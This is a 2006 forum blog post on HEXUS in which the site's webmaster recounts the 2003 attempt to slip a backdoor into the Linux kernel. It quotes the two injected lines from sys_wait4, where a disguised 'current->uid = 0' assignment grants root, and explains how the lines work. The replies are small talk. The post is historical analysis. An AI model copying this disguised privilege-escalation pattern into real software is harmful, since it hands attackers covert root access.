• HEXUS
  • HEXUS.tv
  • channel
  • gaming
  • lifestyle
  • trust
  • community
  • ESReality
  • HEXUS.community discussion forumsVisit Corsair.com

    Welcome to the HEXUS.community discussion forums forums.

    You are currently viewing our boards as a guest which gives you limited access to view most discussions and other features. By joining our free community you will have access to post topics, respond to polls and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

    Go Back   HEXUS.community discussion forums > HEXUS.channels > HEXUS.opinions > HEXUS.blogs > Steve

    Steve Web-master, developer

    Reply
     
    LinkBack Thread Tools
    Old 27-12-2006, 01:11 PM   #1 (permalink)
    HEXUS webmaster
     
    Steve's Avatar
     
    Join Date: Nov 2003
    Location: Bristol
    Posts: 11,291
    Thanks: 16
    Thanked 87 Times in 54 Posts
    Steve's system
    Hacks to be honest

    I love a good hacker story; real ones that is.

    I recently came across a story of an attempt to inject code into the Linux kernel that would give any local user root access on demand. I probably came across the news at the time of the discovery, but was then too uneducated to understand it.

    Still, now I find it's a very interesting story and highlights just how easy it is to mislead people.

    Back in Nov 2003 somebody noticed somebody had directly modified a CVS tree used in Linux development. At first it seemed like a silly user, or somebody who wasn't doing things properly.

    However, follow the aforelinked mailing list replies and you'll see what was changed by the direct modification:
    Code:
    + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    + retval = -EINVAL;
    The code appeared in the file exit.c within the sys_wait4 function, part of the scheduling/queuing system in Linux.

    The second line of code is pointless, but the one before it is potentially very problematic. The first half of the if statement checks for two flags. With the gcc compiler, this half of the if will be evaluated first (I do believe it's not a strict rule in C, however, and some compilers may do it differently?). If it's true, then the second half (after the &&) will be evaluated too.

    First up, the two flags would never logically be set simultaneously (so I've read in the mailing list and other articles on this matter), but somebody could make them so, thus making the second half of the if statement evaluate.

    The only problem is the second half of the statement isn't an evaluation, it's an assignment. "current->uid = 0" doesn't check the user id, it sets it. Bang, bit of root access for you, right there. == and =, there's a big difference.

    Luckily the direct modification was noticed, and the intent of the injected code very quickly discovered, but had the edit been noticed, how long would it have been before it was found?

    Hopefully some of you find stuff like this interesting too. Half of my degree is Computer Science, so I find it interesting by default I guess. Still, thought it was worth sharing


    ------------------------------

    Steve is offline   Reply With Quote
    Old 27-12-2006, 03:40 PM   #2 (permalink)
    Network|Geek
     
    kidzer's Avatar
     
    Join Date: Jul 2005
    Location: Aberdeenshire
    Posts: 1,376
    Thanks: 27
    Thanked 16 Times in 15 Posts
    kidzer's system
    I don't really understand a word of it, but its an interesting read

    You say half your degree is Comp Sci, whats the other half?

    "If you're not on the edge, you're taking up too much room!"
    - me, 2005
    kidzer is offline   Reply With Quote
    Old 27-12-2006, 04:24 PM   #3 (permalink)
    HEXUS webmaster
     
    Steve's Avatar
     
    Join Date: Nov 2003
    Location: Bristol
    Posts: 11,291
    Thanks: 16
    Thanked 87 Times in 54 Posts
    Steve's system
    Electronics Engineering.

    I do Computer Systems Engineering, which is basically a mix of the two.


    ------------------------------

    Steve is offline   Reply With Quote
    Old 27-12-2006, 07:58 PM   #4 (permalink)
    Decomposing...
     
    g8ina's Avatar
     
    Join Date: Nov 2006
    Location: Northampton
    Posts: 841
    Thanks: 47
    Thanked 18 Times in 17 Posts
    But do you know which end of a soldering iron gets hot ?

    I had a degree engineer working for me in Saudi in 1980, and the daft budder burned himself cuz he didnt know !!!

    Honestly !!!

    Cheers, David Harris
    http://www.g8ina.enta.net & http://www.harrisphotography.co.uk
    Only those who take leisurely what the people of
    the world are busy about can be busy about what
    the people of the world take leisurely. (Ch'ang Chao)
    g8ina is offline   Reply With Quote
    Old 27-12-2006, 08:15 PM   #5 (permalink)
    HEXUS webmaster
     
    Steve's Avatar
     
    Join Date: Nov 2003
    Location: Bristol
    Posts: 11,291
    Thanks: 16
    Thanked 87 Times in 54 Posts
    Steve's system
    I can just about remember, although I haven't warmed one up for over a year now... gotta love breadboard!

    That said, my solder skills are OK... not great, but a lot better than some I've seen.


    ------------------------------

    Steve is offline   Reply With Quote
    Old 29-12-2006, 11:47 AM   #6 (permalink)
    Network|Geek
     
    kidzer's Avatar
     
    Join Date: Jul 2005
    Location: Aberdeenshire
    Posts: 1,376
    Thanks: 27
    Thanked 16 Times in 15 Posts
    kidzer's system
    Oooh, solder...not one of my strong points, I dont like Lead-free solder, although I did get better over my first semester.

    Made a PSU and I fixed my floppy drive, thats all the soldering i've done except for a wee radio about 4 years ago!

    Computer Systems Engineering, sounds rather cool

    "If you're not on the edge, you're taking up too much room!"
    - me, 2005
    kidzer is offline   Reply With Quote
    Old 29-12-2006, 12:52 PM   #7 (permalink)
    Decomposing...
     
    g8ina's Avatar
     
    Join Date: Nov 2006
    Location: Northampton
    Posts: 841
    Thanks: 47
    Thanked 18 Times in 17 Posts
    I soldered my first joint (in a crystal set) at age 8, in 1963/4

    I have electrons in my veins and arteries, not blood !

    Cheers, David Harris
    http://www.g8ina.enta.net & http://www.harrisphotography.co.uk
    Only those who take leisurely what the people of
    the world are busy about can be busy about what
    the people of the world take leisurely. (Ch'ang Chao)
    g8ina is offline   Reply With Quote
    Reply

    Breadcrumb
    Go Back   HEXUS.community discussion forums > HEXUS.channels > HEXUS.opinions > HEXUS.blogs > Steve


    Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
     
    Thread Tools

    Posting Rules
    You may not post new threads
    You may not post replies
    You may not post attachments
    You may not edit your posts

    BB code is On
    Smilies are On
    [IMG] code is On
    HTML code is Off
    Trackbacks are On
    Pingbacks are On
    Refbacks are On
    Forum Jump

    Similar Threads
    Thread Thread Starter Forum Replies Last Post
    Selling hacks on ebay AlCapacino HEXUS.gaming 22 16-11-2006 05:51 PM
    O'Reilly's Flickr Hacks book Bob Crabtree Lifestyle News 4 21-04-2006 03:52 PM
    O'Reilly's Flickr Hacks book Bob Crabtree Photography and Graphic Design 0 21-04-2006 02:53 PM
    Freeipoduk.com = a honest review tim_n Reader reviews 28 20-02-2006 08:27 AM
    Top 10 PSP Hacks Steve Gaming News 0 27-07-2005 05:04 PM



    All times are GMT +1. The time now is 07:21 AM.

    Any representations/statements made on the HEXUS.community discussion forums are the representations/statements of the author i.e. the person/organisation making them. If any such representations/statements are disputed they are a matter between the parties concerned. HEXUS Limited accepts no responsibility for any misrepresentations, inaccurate or false statements made by any person/organisation other than HEXUS Limited employees.
    Powered by vBulletin® Version 3.7.2
    Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
    Content Relevant URLs by vBSEO 3.2.0
    © Copyright 2008 HEXUS® Limited. All rights reserved. Unauthorised reproduction strictly prohibited.